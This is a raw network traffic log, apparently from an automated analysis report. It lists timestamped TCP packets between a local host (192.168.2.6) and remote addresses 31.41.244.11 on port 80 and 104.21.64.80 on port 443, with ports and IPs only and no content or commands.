Dec 18, 2024 11:47:43.758763075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.758797884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.759865046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.759910107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.759969950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.760003090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.761235952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.761284113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.761359930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.761399031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.762351990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.762398005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.888067007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.888173103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.888185024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.888222933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.888782978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.888829947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.889019966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.889062881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.889198065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.889238119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.890114069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.890160084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.890295982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.890337944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.891180038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.891223907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.891279936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.891339064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.892364025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.892410040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.892474890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.892515898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.893496037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.893544912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.893606901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.893646955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.894697905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.894748926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.894798994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.894838095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.895875931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.895916939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.896014929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.896051884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.897083998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.897129059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.897289991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.897330046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.898230076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.898271084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.898339987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.898380041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.899435997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.899481058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.899590969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.899632931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.900652885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.900702953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.900753975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.900790930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.901793957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.901840925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.901889086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.901927948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.902980089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.903024912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.903089046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.903126955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.904172897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.904215097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.904273987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.904311895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.905364990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.905407906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.905472994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.905510902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.906639099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.906683922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.906760931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.906797886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.907850027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.907891035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.907921076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.907957077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.908936977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.908981085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.909054041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.909091949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.910105944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.910149097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.910182953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.910219908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.911319971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.911375046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.911463976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.911505938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.912565947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.912625074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.912667990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.912705898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.913641930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.913680077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.913739920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.913780928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.914844990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.914889097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.914948940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.914988041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.916037083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.916083097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.916126966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.916165113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.917190075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.917229891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.917341948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.917378902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.918399096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.918442965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.918494940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.918534994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.919573069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.919619083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.919689894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.919728041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.920731068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.920770884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.920861006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.920898914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.922014952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.922056913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.922135115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.922172070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.923414946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.923461914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.923657894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.923696041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.924513102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.924555063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.924595118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.924628973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.925472975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.925515890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.925549030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.925585032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.926671982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.926716089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.926743984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.926779985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.927853107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.927891970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.927908897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.927946091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.929040909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.929084063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.929157972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.929194927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.930282116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.930325985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.930372000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.930408001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.931430101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.931469917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.931546926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.931585073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.932657957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.932709932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.932828903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.932868004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.933820963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.933861971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.933902979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.933938980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.935026884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.935070992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.935153008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.935190916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.936355114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.936389923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.936403990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.936420918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.937357903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.937402010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.937470913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.937510014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.938563108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.938611031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.938674927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.938713074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.939723015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.939765930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.939837933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.939876080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.941004038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.941050053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.941066980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.941102028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.942121983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.942166090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.942280054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.942322016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.943322897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.943373919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.943639994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.943685055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.944461107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.944510937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.944556952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.944597006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.945696115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.945739031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.945808887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.945846081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.946839094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.946886063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.946938038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.946976900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.948028088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.948071957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.948256016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.948292017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.949201107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.949245930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.949317932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.949364901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.030508995 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:44.030599117 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:44.030718088 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:44.037996054 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:44.038017988 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:44.057996988 CET	49886	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:44.058053017 CET	443	49886	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:44.058140039 CET	49886	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:44.058437109 CET	49886	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:44.058449030 CET	443	49886	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:44.079232931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.079260111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.079289913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.079339981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.079519987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.079555988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.079704046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.079742908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.080621958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.080668926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.080729961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.080765009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.081821918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.081866980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.081924915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.081958055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.083013058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.083064079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.083095074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.083128929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.084172010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.084211111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.084266901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.084300041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.085341930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.085385084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.085534096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.085571051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.086530924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.086566925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.086639881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.086683035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.087752104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.087790966 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.087838888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.087873936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.088900089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.088943005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.088989973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.089056969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.090107918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.090158939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.090272903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.090312004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.091325998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.091370106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.091454983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.091491938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.092497110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.092536926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.092577934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.092612982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.093642950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.093683004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.093734980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.093769073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.094852924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.094909906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.094944954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.094984055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.096008062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.096055031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.096107006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.096152067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.097345114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.097388029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.097496033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.097531080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.098525047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.098567009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.098594904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.098628998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.099533081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.099574089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.099643946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.099682093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.100775957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.100827932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.100878954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.100918055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.101932049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.101974010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.102068901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.102101088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.103096962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.103153944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.103189945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.103250027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.104276896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.104322910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.104367971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.104403019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.105547905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.105596066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.105637074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.105689049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.106765032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.106817007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.106873035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.106910944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.107829094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.107878923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.107968092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.108015060 CET	49878	80	192.168.2.6	31.41.244.11
